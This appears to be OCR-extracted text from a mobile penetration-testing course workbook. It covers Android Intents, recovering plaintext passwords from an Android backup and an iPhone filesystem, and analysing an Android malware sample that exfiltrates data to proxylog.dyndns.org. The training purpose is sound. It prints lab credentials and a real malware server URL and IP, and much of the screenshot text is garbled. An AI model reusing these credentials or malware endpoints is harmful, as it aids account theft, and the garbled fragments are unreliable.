called com.android.settings. Launch the settings application by using am start
pkg

com.android.settings. Applications can use this to automatically open the settings

when they want the user to make a change, such as enabling app sideloading.
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android.intent.act

155
1 155
227

that the Settings have been opened
itch over to the Android VM to verify that the Sett

Intent { act

com.android.launcher3/.Launcher

ThisTime

/ $am start -W -c android.intent.category.HOME -a

android.intent.action.MAIN

irm

VI

talled Launcher, we will use a generic MAIN event in the HOME category to open the

responsible for showing all the installed apps and providing the main interface. It is possible
Launcher

Go back to the terminal on the Kali VM and use am to go back to the Launcher app. The
to install new Launchers from the Play Store.

Launcher is the first application that is launched when the device is booted and is

Conf

Sw

ins
x86_64
Starting
Warning
Status
Act
WaitTime
Complete

TotalTime

6. Open Launcher app through am

5
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The output of the am command shows that the package name of the Launcher is
com.android.launcher3.

-W tells am to wait for the activity launch to complete
-¢ defines the category of the Intent
-a specifies the action of the Intent

Confirm that the Settings app has been minimized

Switch over to the Android VM and confirm that the Settings window has been
minimized, revealing the Launcher.

Open a URL through am

Go back to the Kali VM and open a URL through am. An Intent of type VIEW with a URL in
the data_uri argument will ask the OS to choose an application to use. Applications that
have specified the https:// scheme in their Android Manifest can handle this type of data_uri
and will be proposed to the user.

x86_64:/ $ am start -a android.intent.action.VIEW -d
"http://puppywar.sec575.org"
Starting: Intent { act=android.intent.action.VIEW dat=http://puppywar.sec575.org/... }

Confirm the URL is opened

Switch to the Android VM and notice that there are two applications that can open an
HTTP:// URI: Firefox and Chrome. Choose the Chrome browser by clicking on it, followed by
the "ALWAYS" button. This will tell Android to remember your choice.
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android.intent.act
at the top,

"start"
some time, an android.intent.action

/ $ am start -a android.intent.act
Intent{ act

every minu

Starting
Switch to the Android VM and notice that there was no choice popup this time, since Android

Go back to the Kali VM and execute the same command again. You can use the history of
knows which application it needs to open.

the Terminal window by pressing the UP arrow to cycle to previous commands.
On the Android VM, open the Broadcasts Monitor app by clicking the icon on the

Launcher. Click

x86_64
11. Monitor events with the Broadcasts Monitor app

10. Open another URL through am
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you saw multiple uses of Intents,

or communicate specific events.

/S exercise,
data contained within may be malicious. In a later exercise, we will exploit such a vulnerabili

Applications that process Intents need to be careful, as any application can launch intents, and the
custom application.

In th
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SEC575-2.1: Exercise—Android Backup Analysis
Objective

Extract Android filesystem data from the supplied backup.ab file. Use the extracted filesystem
data to inspect the data stored by the PassDiary application to identify information disclosure
threats associated with a poorly written Android application.

Scenario

In this exercise, you take on the role of a mobile device pen tester. A common task as a mobile
pen tester is to identify the impact to the organization if a mobile device were stolen. As part of
that process, you will need to extract data from an Android device and evaluate the collected
information, even if a root exploit is not available. One approach is to collect an Android
backup of the device, then extract the data in the backup for application analysis.

Virtual Machines

1. Kali
Android Backup Analysis

Working with your colleague John Weber, you have stolen a Samsung Galaxy S6 as part of an
authorized pen test. Although the device was locked, you have been successful at cracking the PIN
using a Rubber Ducky, identifying the passcode as "2001". After unlocking the device, John started
to investigate the installed apps and access with logged-in credentials for installed apps. One app
stood out as an additional interesting target: PassDiary, a password management app.

Upon starting the PassDiary app on the stolen phone, you see that the application requires a
password. Unfortunately, John got a little carried away with password guessing and the
PassDiary app. His first nine password guesses failed to unlock the app. Only one more bad
guess, and the app will wipe all the stored passwords, as shown.

As a precaution, you create an Android device backup using adb backup -all -shared.
Analyze the contents of this backup file in /root/labs/android _backup/backup.ab and
examine the data files associated with the PassDiary app. After evaluating the PassDiary data,
examine image files also included in the backup for additional information disclosure threats.

1. Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Click on the screen and
drag up to reveal the login prompt. Log in as the user root with the password toor.

2. Open the Linux Terminal

From the navigation bar on the left, click to open the Linux terminal application. Change to the
/root/labs/android_backup directory:
root@kali:~# ed /root/labs/android backup

3. Convert the Android Backup to Tar Format

The Android backup.ab file is a zlib-compressed tar archive file with a special 24-byte
header added to the beginning of the file. We can do this manually using dd, or we can
use the android-backup-extractor tool to handle this for us:
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root@kali:~/labs/android backup
backup.tar 0% 1% 2% 3% 4% 5% 6%
18% 19% 20%

oe |

21% 22% 23% %ﬁ %ﬁ %6 %7 %8 %9
41% 42% 43% %? é; {% {? {% ‘§
61% 62% 63% é? é% é% é% é% {5
81% 82% 83% %2 é% %% é; é% éb

# java -jar abe-all.jar unpack backup.ab
7% 8% 9% 10% 11% 12% 13% 14% 15% 16% 17%

%O 31% 32% 33% %4 35% 36% 37% %ﬁ 19 40%
5?0 51% 52% 53% 5064 55% 56% 57% 5068 5069 60%
i; 71% 72% 713% i; 715% 76% 77% i% i; 80%
é% 91% 92% 93% é; 95% 96% 97% é% ib }OO

189199872 bytes written to backup.tar.

Applications ~ Places v [ Terminal ~ Mon 09:58
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Next, create a top-level directory for the Android backup files called android-backup,
then extract the tar file to the new directory, as shown:
root@kali:~/labs/android backup# mkdir android-backup
root@kali:~/labs/android backup# tar xf backup.tar -C android-backup/

root@kali
root@kali
apps shared

~/labs/android backup# cd android-backup/
~/labs/android backup# 1ls
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Applications ~

android-backup
# cd android-backup/
# s

#

5. Investigate the PassDiary App Data

After extracting the data from the Android backup.ab file, investigate the files in the
apps/com.passdiary directory. Use the £ile command to identify the type of files
included in the backup data. Use the cat command to display the contents of text-
based files. Use the strings command to extract plaintext strings from binary files.
Try to recover the PassDiary application unlock password from the data.

6. Investigate App Login Password Disclosure

Examining the contents of the com.passdiary directory, you will see a backup
_manifest file and two directories. The sp directory is used to store Shared
Preferences (application settings) and the db directory is used to store databases.
Inspecting the contents of the Shared Preferences directory, you will see one file:
pd_settings.xml. This text file can be displayed with the cat command, as shown.
Near the end of the file, you discover that the PassDiary app stores the app login
password in plaintext, as shown. root@kali:~/labs/android-backup# cd
apps/com.passdiary/ root@kali:~/labs/android-
backup/apps/com.passdiary# ls

db manifest sp

root@kali:~/labs/android-

backup/apps/com.passdiary# cd sp
root@kali:~/labs/android-

backup/apps/com.passdiary/sp# ls pd settings.xml
root@kali:~/labs/android-backup/apps/com.passdiary/sp# cat
pd_settings.xml

© 2019 Joshua Wright & NVISO 41



<?xml version='1l.0' encoding='utf-8' standalone='yes' 7>
<map>

<int name="version number" value="4" />

<boolean name="whats new" value="true" />

<boolean name="number" value="true" />

<string name="credential">pinkstarburstarebest</string>
<int name="lenght" value="10" />

</map>

In this examination, the XML string named credential discloses the app login password

pinkstarburstarebest.

i gy .
|| Applications ~ Places v [ Terminal ~ Mon10:30
-

root@kali: ~/labs/android_backup/android-backup/apps/com.passdiary/sp
File Edit View Search Terminal Help
) ck wckup# cd apps/com.passdiary/
s ackup/apps/com.passdiary# 1s
db manif
lab backup/ar ) P C diary# cd sp
labs/a kup/ar )/apps/c passdiary/sp# ls
ttings.xml
lab iroid_backup/andro 3 @ liary/sp# cat pd settings.xml
<?xml version= 0' encoding='utf-8

nt name="attempts done

oolean name="symbols"”

oolean name="confirm delet value="true" />
nt name=

oolean nam

whats new
oolean name="number" value="true" />

inkstarburstarebes t SRS UIE

/>

In this exercise, you saw how a stolen device can be useful for an aaversary. During the lecture
part of the module, you saw how an attacker can use different techniques to bypass device lock
screens, with Android being more vulnerable because of the lack of a device wipe function after
multiple failed login attempts.

From an unlocked device, you can access the applications and the account access through saved
passwords. However, an additional layer of security on the device also required additional analysis
to access the saved passwords in the PassDiary application. Obtaining an adb backup, you can
gather more information that would otherwise not be accessible from a standard adb shell.

Finally, in looking at the security of the PassDiary application, you saw that not all apps that claim to
be secure implement reasonable security practices, which can expose additional application data.
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SEC575-2.2: Exercise—iPhone Data Analysis
Objective

Increase your familiarity with the iOS filesystem by evaluating the contents of a jailbroken
iPhone 5S. Through this analysis, recognize that it is common to find sensitive information
including passwords scattered in various locations throughout the iOS filesystem.

Scenario

In this exercise you'll use the skills developed in the last module to investigate the contents of an
iOS filesystem. In the supplied filesystem archive, there are four different authentication credentials
present. Your task is to find the credentials.

Virtual Machines

1. Windows 10

iPhone File System Data Analysis

One of your coworkers, Don Sawyer, recently had a temporary fright when a company iPhone was
lost leadling to a short- lived incident. The missing iPhone was recovered, but the response team was
ill-prepared for the event, unable to characterize the impact of the device loss.

You are asked to evaluate the data on the now recovered iPhone to demonstrate the potential
impact of the device loss to the IR team. Evaluate the contents of the device filesystem (supplied in
E:\lab- files\iphone data analysis\iphone-data) using Plist Editor for Windows,
SQLite Spy, and other built-in Windows tools. Identify four different password disclosure issues from
the iPhone filesystem.

1. Log in to Windows

Click and drag the lock screen up to reveal the login screen. Log in as the user student with the
password
student.

Optionally, you can paste the password through the Commands | Paste | Paste
Password menu option at the top of the screen if desired.

2. Open Command Prompt
From the Windows system, click Start | Command Prompt to open a command shell.

3. Change Directory

From the command shell, change to the E:\1ab-files\iphone data analysis\iphone-
data directory:

C:\Users\student>E:
E:\> cd \lab-files\iphone data analysis\iphone-data
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4. Build File List

The primary challenge in evaluating the data from a mobile device filesystem is the number of
files and directories that have to be inspected. Having a file list provides a resource that you
can refer to quickly to identify files or directories of interest, and to keep track of the content
you've evaluated and the content that has yet to be evaluated.

Build a list of all the files in the iOS filesystem extracted from the top-level

E:\lab- files\iphone_data_analysis\ directory using the dir /s command,

redirecting the output to a file:

E:\lab-files\iphon data analysis\iphone-data>dir /s /b >all-files.txt
You can open the al11-files.txt file in Notepad or any other text editor.

When running dir with the /s argument, you will see the error message "The
directory name E:\lab- files\iphone_data_analysis\... is too long". The Windows
cmd. exe prompt has a combined filename and directory name length of 8,191
characters, and these two entries exceed that length. This error message can be
ignored for this exercise.

- 0

e_deta_snalysis\iphone-dataddir /s /b >all-files.txt The directory name E:\lab-files\iph

e\v oreDatstbiquitySupport \mobile~13F60199-9899- SEAS- BACS- 1AME2977891 \UserDict ionary \ASSASAFC-1

e-date rary \Keyboard\C up
74740869 \container\mobile~13F60199-9899-SEAG-BACE-1A3EE2977891\ . stage.nosync 1s too long.

\Lab-Files\iphone_dato_analysis\iphene-data>

5. Filter File List by File Type

With a full list of files, you can quickly create new lists of files by a specific file type. Run the
command below to create an extract of the al1-files.txt file list containing only
common SQLite database filename extensions using the Windows built-in findstr utility:

E:\lab-files\iphone data analysis\iphone-data>findstr "\.db \.sqlitedb
\.sqglite3

\.sqglite \.storedata \.store \.sql \.kcr" all-files.txt > all-
databases. txt
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You can view the all-databases. txt file with Notepad or any other text editor.

£ \1ab-F1les\iphone_data_analysis\iphone-data>findstr "\.db \.sqlitedd \.sqlite3 \.sqlite \.storedata \.store \.sql \.kc
jr” all-files.txt > all-databases.txt
£\ lab-Files\iphone_data_analysis\iphone-datar

& Etlab-Fles\iphone data_snabysi! ;| - Hotepades
File Ednt Sewch WView Encoding Lamgusge Setings Macro Run  Pluging  Wimdow

1 PelanlaxEE|%
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ation\S0DEFR4T-SFDF-4FIA-S42E-BL92A36CECTI\Likrary\ Caches\ com. apple. mobilemal Y
Ation\S0DGFRST-SFDF-4FIA-D4IE-D192AIECECTIN nes’com. Apple. mobilemaii\Cache.db-wal

5 'y

ce\var\meb SADEZZDC-T S4E-9CFE-5F : aches\.com, BI4 30007

celwvarimobile\d 1 0 1 8 \Caches\com. H44 37 A

176-454E- 90T 6-SFTFS04 GAKECY

T
ry\google

ce\var\mobile\O
celvarimebalend
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Boremal tent file

6. Recover Password #1

The i0S sms . db file stores SMS and iMessage messages, which is a frequent source for
password disclosure. Open Windows Explorer and navigate to the E: \1ab-
files\iphone data analysis\iphone- data\private\var\mobile\Library\SMS
directory. Open the sms.db file using SQLiteSpy by double-clicking on the filename.
SQLiteSpy indicates that there are six tables in the database. Open the message table by
double-clicking on the table name.

Scroll to the text column to see the SMS and iMessage messages. You will see the

message "The user name is jwright and the password is 5u$H1". This is the first password
revealed in the iPhone data analysis.
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7. Recover Password #2

Similarly, in the sms.db, a second password can also be recovered from database record 16:
"We changed the passphrase as part of our security effort. The new passphrase is 'all your
802.11b are belong to us', without the quotes. Thanks!".

8. Recover Password #3

The built-in iOS Notes application is commonly used to store short notes, including
passwords. Navigate to the E: \1ab-files\iphone data analysis\iphone-
data\private\var\mobile\Library\Notes directory using Windows Explorer and
open the notes.sqglite database file with SQLiteSpy by double-clicking on the filename.

The ZNOTEBODY database in the notes.sqglite file stores the plaintext note information. Click
on the ZCONTENT column to see the password information: "Salesforce.com<div>Username
Dsawyer&nbsp; </div>

<div>Password MonkeyLovesBananas</div>".
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//www.willhackforsushi.com/password.txt.

formation and other sensitive data. Navigate to the E

files\iphone data analysis\iphone-
Keep reviewing the data in the iPhone filesystem to identify other information disclosed by Mobile

The suspendstate.plist file discloses the open tabs for Mobile Safari and persists even
Safari.

Mobile Safari is also a great source to investigate in an iOS filesystem to obtain password
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10. Search for Snapshots

From Windows Explorer, navigate to the top of the iOS filesystem extract
(E:\lab- files\iphone_data_analysis\iphone-data). Use the search bar to
search for the string Snapshot. Inspect the results, looking for the
com.apple.mobilesafari snapshot data.

iOS snapshot data can be stored in many places in the filesystem. Using the Windows
Explorer search function (or a comparable function in a Linux window manager or OS X
Finder) makes it simpler to navigate through the matching Snapshot directories,
wherever they exist in the filesystem extract.

48 © 2019 Joshua Wright & NVISO



— "/ N N A N N BN A N

et 2N R20phone dataficrumb +ication €K IANSCIeb - 0 X

-

=

=

-

v Search To: Snagihot - search ma dispiaynames Search

-
-

-
-

S

*.
=
-

3
5
3
£
-

-
Fias

-
-

Jphone - data\ prvate\var mobie L ibrary Caches

,‘
s
.
-
F

o Quack access Snapshots E\lab- files phoae data
B Desktop .

S

ods Snapshots E:\lab-fles\phone_ data_anahyi\shone. data) provate\var mobie' Library' Caches\ comapple.notificatonc en.

s
-
-
-

-
-

s
e
i

iphone-4xa) preate| var

ures Snapshots §:\lab-files phe tamer| Data\ Apphe sion 51

ub-files

:
S

*.
.
i

1ab-files\iphone_dats_sralytit\iphone-data\ prm ate\var mobie' Contaners\Data\ Apgic ation’ D6

R
3
¥
-

SQ keSpy Snapshots

"
-

-

aM .

Contmne

5
S

e

s
.
-
-

-
-

ts E\lab-files\iphone, dats_snalysis\phone-data\ prate| vas
AM

Apgheation BFO2D0A7-5

Snapsh

S

B Tha P
B Dosktop Snapshots E:\lsb-files\iphone,_data_snalysis\iphone-dsta\ prvate

s
.
-
-

-
-

Appication

S

s
.
-
-

-
-

Documents

S

Snapshots

Jab-files phane dita_analysis phone- Sata) prate|var mabie| Contamers\ Dats\ Apghcation

M

s
.
-
-

-
-

S

Snapshots E:\lab- fles\phone date anabyieiphone data) prvate\var mobie Contaners’ wation) SADE20C -7,

V19209 &35 AM

&
3
s
.
-
-

.
-

S

s
=
-
-

-
-

S

s
e
-
s

.
-

i
=
=

s
-

s
e
-

e
-

o
e
-

i
o

i

-
o

s
s
-

e

.
o
-

-
-

E
S

=
-
-

11. Recover Password #4

In the iOS filesystem extract, the Mobile Safari snapshots are stored in
private/var/mobile/Containers/Data/Application/D610D37A-282D-48A3-A81E~-
FD3FEA6B308C/Library/Caches/Snapshots/com.apple.mobilesafari/com.apple.mo
bilesafari/Default-

Portrait@2x.png (with a smaller version in the subdirectory "downscaled").

Open either of these files to reveal a snapshot of Mobile Safari having browsed to
http://www.willhackforsushi.com/password.txt. The browser content reveals the fourth

username and password information: gclose/WhatSarahSaid.

If the default photo viewer doesn't work, open the file with paint.
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Despite the Apple mechanisms designed to protect sensitive data (such as the iOS Keychain), many
passwords are stored in plaintext on iOS devices through SMS messages, the Notes app, and other
locations (including voice recordings and some weak third-party apps). Further, passwords can also
be found in iOS screenshots when viewed by users in the Mail.app, Safari.app, and other third-party
messaging applications.

By demonstrating to the incident response team that you were able to recover several passwords
from the iOS device, you have helped raise internal awareness regarding the impact of lost or stolen
devices. Recognizing that in many pen tests a single password is all that is required to achieve a
toehold for wide-scale compromise of an organization, the IR team is revising their plans for
appropriately responding to lost or stolen devices.

Congratulations!
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SEC575-2.3: Exercise—Android Malware Analysis
Objective

Evaluate the supplied artifacts relating to a piece of Android malware. Identify if any sensitive data
is disclosed by the malware.

Scenario

In this exercise, you will evaluate the attributes of a real Android malware sample known as Android
Studio.

Virtual Machines
1. Windows 10
Android Studio Malware Analysis

Your co-worker Kevin Searle noticed something odd recently on his Android phone. In the
application list details from the Settings app, he sees an application called Proxy, but does not have
a corresponding launch icon in the Android application group.

Suspicious of this application, Kevin took a long packet capture of network traffic from his Android
device and collected some basic artifacts from the Android APK file. Navigate to the E: \1ab-
files\malware analysis\android-malware-analysis directory on the Windows hostand
evaluate the collected data, starting with the HELPME . txt file.

1. Log in to Windows

Click and drag the lock screen up to reveal the login screen. Log in as the user student
with the password student.

Optionally, you can paste the password through the Commands | Paste | Paste
Password menu option at the top of the screen if desired.

2. Navigate to Lab Folder
Open Windows Explorer, then navigate to the E: \1ab-files\malware analysis folder.

3. Examine HELPME.txt

Open the HELPME.txt file. This file was written by Kevin Searle to explain the data files he
collected to assist in evaluating this malware. Examine this file to understand the nature of
the files supplied for your analysis.

4. Examine Android Certificate

Open the cert.txt file disclosing the Android developer-generated certificate details. Inspect
the certificate details to see if there is anything that can be learned about the app author.
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Android developers in the Google Play store.

)

Recycle Bin

[ E\lab-files\mahware_snalysic\cert.tt - Notepads+

File Edit Search View Encoding Language Settings Macro Run Plugins Window 7
cHHR AL sMRde g2z BR|S1 EIRR @ EGNB
lab-files B HELPMEDS £3 FHomte BI

subject=/5T=Taipei/L=Taipei/O=Smart Studioc/OU=Smart Studio/CN=Smart Studio
issuer=/ST=Taipei/L=Taipei/O=Smart Studio/OU=Smart Studio/CN=Smart Studio

2]

Change
Language.

length: 151 Fines: 3 Ln:1 Col:1 Sel:0]0 Dos\Windows UTF-8

1 item selected 151 bytes

Examine App Permissions

Kevin supplied a copy of the malware's AndroidManifest.xml file in text format. View this file
to identify information about the application, including the list of declared app permissions.
Examine each of the declared application permissions to gain a better understanding of what
the application can do on an Android device.

The malware declares several permissions. Note that, even if the permission is
declared, it may not be used by the application.

You can use the website androidpermissions.com to help explain Android
permissions and the privileges that are granted with each permission declaration.

o The ACCESS_COARSE_LOCATION permission allows the application to access
coarse location information (generally indicating that, although it cannot get
fine-grained location information from GPS readings, it can get a rough
location approximation within a ¥4 mile radius).

o The DISABLE_KEYGUARD and WAKE_LOCK permissions could be used to
manipulate the lock screen on a device, allowing an application to unlock
a device or to prevent a device from locking due to timeout or inactivity.
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It's not clear why malware would require these permissions, unless it was
intended to be used as part of a locate-and-steal attack (but lacking fine-
grain location information, this seems unlikely).

The READ_SMS, SEND_SMS, and RECEIVE_SMS messages are
straightforward in their privileges and developer's intent: Through the
declaration of these privileges, the developer can read previously received
messages, send messages, and intercept incoming SMS messages.

The READ_CONTACTS permission is the currently adopted permission for
developers to gain read-only access to the system contacts.

The INTERNET permission is almost universally declared, allowing the
application to access online resources on any connected network medium.

The READ_PHONE_STATE permission is also commonly declared, allowing an
app to determine when a user is on the phone (thereby not prompting the
user with app activity while they are in a call). This permission also allows
the developer to access other system components, however, including the
ability to get cellular network details, the mobile device International Mobile
Equipment Identifier (IMEI), and International Mobile Subscriber Identifier
(IMSI) information.

The CHANGE_NETWORK_STATE, ACCESS_NETWORK_STATE, and
ACCESS_WIFI_STATE permissions allow the developer to get information
about various network connection methods (Wi-Fi or cellular) and control
those settings. Using this permission combination, a developer can determine
if the network connection is currently Wi-Fi or cellular and switch between
the connectivity options (conceivably for the purposes of exfiltrating data
over a cellular connection, which is more difficult to capture).

The WRITE_EXTERNAL_STORAGE permission allows the app to write to an
SD card. The GET_ACCOUNTS permission is a legacy permission for reading
contacts on the local device (replaced with the READ_CONTACTS
permission).

© 2019 Joshua Wright & NVISO 53



¢ cHHRE R GB8 dsDR|DC(®| % x|

-
I

=
-

-
-
-
-

-
-
-

-
-

-
.
e

-
-

-
-

file Edit Sesrch View Encoding Llangusge Settings

-
.
e

-
.

Mscro Run  Plugins

1

.
.

-
.

160 | Bl e 4 3 [ AndrodManéest ot £3
<3xml ion="1.0"
—<manifest android

.

-
-
-

.
.
.

-
-
-

rersionName="1.17" package="com.smart.studio.proxy” xmins:

-

an:

o
"

-

id="http: .android.com/apk/res/andro

.
.
-
-

e

.

-

-
-
.

-
-

<uses-sdk android:m
</uses-sdk>

s

.
.
_

-

-
-

.
.

i

.
.
.

-
.

-
-

<uses-permission an
</uses-permission>

axe="android.permission.ACCESS COARSE_LOCATION">

s

.
.
_

-

.
-
.
-
.

-

<uses-permission an
</uses-permission>

-
-

="android.permission.DISABLE REYGUARD">

s

.
.
_

.

.
-
L
.
.

-

<uses-permission
</uses-permission>

-
-

.
_

“android.permission.WARE_LOCK">

.
.
.

-

-

-

.
-
-

<uses-permission
</uses-permission>

ane="android.permission.READ SMS"3

-
-
-

-
-
-

-

-
-
-

-
-
-

:
-
.

-
L
.
-
-
-

| c - <uses-permission an

i - <

-
-
-

me="android.permission.SEND_SMS">

=
-

/uses-permission>

-
s

.
o
-

-
-
-

-
-
-

-
-
.

i - <uses-permission an

i </uses-permission>

6.

54

-
-
=

. tensible Markup Language file length: 2778 lines: 130 Ln:21 Col:63 Sel:8|0 Dos\Windows

=
. .
-

E -
L

wane="android.permission.RECEIVE_SMS">

-
-

-
-
-

=

-

-

-
-

-
-
=
-
-
-

<uses-permission

= "android.permission.READ CONTACTS">
4 </uses-permiss.

3 - <uses-permission an
3 </uses-permission

\ane="android.permission. INTERNET">

-permission ar
s-permission>

"android.permission.READ PHONE_STATE">

4 = <uses-permission
% </uses-permission>

"android.permission.CHANGE_NETWORK _STATE">

N <uses-permission an
0 </uses-permissicn>

wane="android.permission.ACCESS_NETWORK STATE">

<uses-permission an nane="android.vermission ACCESS WIFI STATE">

-
*maw

-

v

-
-

-
.

UTF-8 INS

-

-
-
-

-
-
_
-
-
-
-

.
_

-
-
-

-
.

...

Examine Application Strings

Your coworker has supplied strings from the application .dex file (the application executable)
in strings.txt. Examining the strings from an application can help gain further insight into the
application functionality, revealing information about API calls (supporting the declared
permissions), and can reveal URLs, error messages, and other interesting strings.

As a fundamental analysis technique, the strings in an application give you a starting point to
focus your analysis. Examine the supplied strings’ output to identify interesting content.

Several interesting strings extracted from this executable are shown here:

o @gmail.com -- Partial email address; possibly malware author or target for
data exfiltration

© Landroid/net/wifi/WifiManager; -- WifiManager class, supporting
CHANGE_NETWORK_STATE permission

© Landroid/telephony/SmsMessage; -- SmsMessage class, supporting
RECEIVE_SMS permission (and others)

© Landroid/telephony/gsm/GsmCellLocation; -- GsmCellLocation class,
supporting ACCESS_COURSE_LOCATION permission

© org/apache/http/client/methods/HttpPost; -- Apache HTTP library,
indicator that we should look for HTTP traffic in packet capture
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© ,http://proxylog.dyndns.org/proxy/log.php? -- Unique URL using
dynamic DNS hostname; possibly attacker owned

© street number -- Variable name; possibly used to recover location of user

7. Examine Packet Capture Data
Open the supplied packet capture file with Wireshark.

8. Search for Malware Server DNS Name

In the strings data, you saw the DNS server name proxylog.dyndns.org. Search for this
string in the packet capture using the Wireshark search functionality.

From Wireshark, click Edit | Find Packet. In the Display Filter dropdown, choose

the String option and then choose Packet bytes in the first dropdown.

The result of the search will identify either an HTTP or a DNS packet that contains
the malware server name. Use this packet to identify the server IPaddress.

M malvarepcap

File Edt View Go Capture Analyze Statistics Telephony Wireless Tools
Am @ REB Q&= i Qe Qi
W hocty a decla e

Packetbytes v Narrow & Wide v [ Case sensitve v |proxylog.dyndns.org
Time Source Destnation Length  Info
4.432997  10.0.2.15 10.0.2.3 72 Standard query @xe135 A pocl.ntp.org
11 4.437365  10.0.2.3 10.0.2.15 136 Standard query response ©xel3S A pool.ntp.org A 108.61.56.35 A 129.250.35.250 A 64.6.144.6 A 2.
4.438454  10.0.2.15 108.61.56.35 NTP Version 3, client
4.450343 108.61.56.35 10.0.2.15 NTP Version 3, server
7.253095 fe80::5054: Ff:fel2:3. £f02::2 Router Solicitation from 52:54:00:12:34:56
7.430268 10.0.2.15 108.61.56.35 NTP Version 3, client
7.444210 108.61.56.35 10.0.2.15 NTP Version 3, server
7.459552  10.0.2.15 10.0.2.3 Standard query @x76f1 A proxylog.dyndns.org
7.462119  10.0.2.3 10.0.2.15 Standard query response @x76f1 A proxylog.dyndns.org A 1.34.90.201
7.463414 10.9.2.15 1.34.90.201 48771 + 80 [SYN] Seq=0 Win=5848 Len=0 MSS=146@ SACK_PERM=1 TSval=4294938881 TSecr=0 WS=2
7.665556 1.34.90.201 18.0.2.15 80 -+ 40771 [SYN, ACK] Seq=® Ack=1 Win=8192 Len=8 MSS=1460
7.666466 10.0.2.15 1.34.90.201 48771 - 80 [ACK] Seq=l Ack=l Win=5840 Len=@
7.668153 10.9.2.15 1.34.98.201 POST /proxy/log.php?id= HTTP/1.1 (application/x-www-form-urlencoded)

Frame 22: 494 bytes on wire (3952 bits), 494 bytes captured (3952 bits)
Ethernet II, Src: RealtekU_12:34:56 (52:54:00:12:34:56), Dst: RealtekU_12:35:02 (52:54:00:12:35:02)
Internet Protocol Version 4, Src: 10.0.2.15, Dst: 1.34.90.201
Transmission Control Protocol, Src Port: 40771, Dst Port: 80, Seq: 1, Ack: 1, Len: 440
v Mypertext Transfer Protocol
POST /proxy/log.php2id= HITR/1.1\r\n
Content-Length: 229\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Host: proxylog.dyndns.org\r\n
Connection: Keep-Alive\r\n
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)\r\n
\r\n
(E :
[HTTP request 1/1]
[Rasnonce in feame: 241
6d 2d 75 72 6¢c 65 6e 63 6f 64 65 64 8d @a 48 6f m-urlenc oded Ho
mﬂ
SETRERTNERINY, od 0a 43 6f 6e 6e 65 63 74 Connect
6e 32 20 4b 65 65 70 2d 41 6c €9 76 65 @d  ion: p-Alive
73 65 72 2 41 67 65 6e 74 3a 20 41 78 61 ent: Apa
65 2d 48 74 74 7@ 43 6c 69 65 be 74 2f 55 Client/u
56 41 49 4c 41 42 4c 45 20 28 6a 61 76 61 LE (java
2e 34 29 ©d @2 0d ©a 6c 31 3d 30 34 2d 31 s 11-04-1
30 37 25 33 41 32 35 25 33 41 30 38 25 32 SX3408%2
65 72 25 32 43 31 2e 31 37 26 6c 32 3d 30  Cver¥2C1 .17812-0
31 38 2b 30 37 25 33 41 32 35 25 33 41 30 4-18+407% 3A25%3A0
32 43 6¢c 6f 67 25 32 43 73 65 72 76 69 63  B%2Clog¥ 2Cservic
63 72 65 61 74 65 64 26 6c 33 3d 30 34 2d  e+create dil3=e4-
2b 30 37 25 33 41 32 35 25 33 41 3@ 38 25  18+87%3A 25%3A08%
69 64 25 32 43 25 32 43 30 30 30 30 30 30  2Cid¥2CX 20000000
30 30 30 30 30 30 30 26 6¢ 34 3d 30 34 2d  ©GEEG000 BAl4=04-
2b 30 37 25 33 41 32 35 25 33 41 30 38 25  18+@7%3A 25X3A08%
63 6f Ge 6e 25 32 43 77 69 66 69 2b 6f 66 2Cconn¥2 Cwifi+of
32 43 6d 6f 62 69 6c 65 2b 6f 6e 26 6c 35 X2Cmobi lesonklS
34 2d 31 38 2b 30 37 25 33 41 32 35 25 33 =084-18+0 7X3A25%3
30 38 25 32 43 6c 6f 67 25 32 43 6¢ 6f 63 61  A@S%2Clo gX2Cloca
69 6f 6e 2b 65 78 63 65 70 74 69 6f Ge tiontexc eption

O 7 HITP Host (ntw.host), 27 bytes Packets: 8566 * Displayed: 8566 (100.0%)

9. Filter Malware Server Traffic

Create a Wireshark display filter that displays only traffic to the IP address for the malware
server associated with the DNS name proxylog.dyndns.org. This IP can be found in the
Destination column of the identified search results.
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First, cancel the search by pressing the Cancei button on top. Next, use the Wireshark

display filter field on the top to build the display filter. You can use the ip.dst filter to find the
correct packets.

By creating a display filter showing only traffic to the malware server, you can focus
your analysis on data that leaves the mobile device, perfect for identifying data
exfiltration threats.

A display filter of ip.dst eq 1.34.90.201 will produce the desired results.

Edt View Go Capture Analyze Statistics Telephony Wireless Tools Help

RB Qe iEEqaan

Source Destnaton Protocal  Length  Info
10.0.2.15 1.34.90.201 Tce 74 42771 + 80 [SYN] Seq=0 Win=5840 Len=0 MSS=1460 SACK PERM=1 TSval=4294938081 TSecr=0 WS=2
10.0.2.15 1.34.90.201 e 60 48771 + 80 [ACK] Seq=1 Ack=1l Win=5840 Len=@
10.0.2.15 1.34.90.201 494 POST /proxy/log.php?id= HTTP/1.1 (spplication/x-www-form-urlencoded)
10.9.2.15 1.34.90.201 48771 - 80 [ACK] Seq=441 Ack=985 Win=6888 Len=0
153.191885 10.0.2.15 1.34.90.201 48771 - 80 [FIN, ACK] Seq=441 Ack=985 Win=6388 Len=@
904010  10.6.2.15 1.34.98.261 7 60 40771 + 80 [R 5eq=442 Win=@ Len=0
4850.511610 10.0.2.15 1.34.90.201 51000 - 88 [SYN) Seq=8 Win=5848 Len=0 MSS=1460 SACK_PERM=1 TSval=4294938246 TSecr=@ WS=2
4850.719489 10.0.2.15 1.34.90.201 51000 -+ 80 [ACK] Seq=1 Ack=l Win=584@ Len=0
4850.721239 10.0.2.15 1.34.90.201 51000 -+ 8@ [PSH, ACK] Seqel Ack=1 Win=584@ Len=211 [TCP segment of a reassembled PDU]
4850.722017 10.0.2.15 1.34.90.201 POST /proxy/log.php?id= HTTP/1.1 (application/x-www-form-urlencoded)
4853.425157 10.8.2.15 1.34.90.201 51000 - 8@ [ACK] Seq=1020 Ack=1461 Win=8760 Len~@
4853.425780 10.0.2.15 1.34.98.201 51000 - 5@ [ACK] Seq=1020 Ack=1972 Win=1168@ Len=~0
8517 4943,291004 10.0.2.15 1.34.90.201 55152 = 5@ [SYN] Seq=@ Win=5848 Len=@ MSS5=1460 SACK_PERM=1 TSval=4294938186 TSecr=@ WS=2
8519 4943.493296 10.0.2.15 1.34.99.201 TP 6@ 55152 = 50 [ACK] Seq=1 Ack=l Win=5840 Len=-@
Frame 22: 494 bytes on wire (3952 bits), 494 bytes coptured (3952 bits)
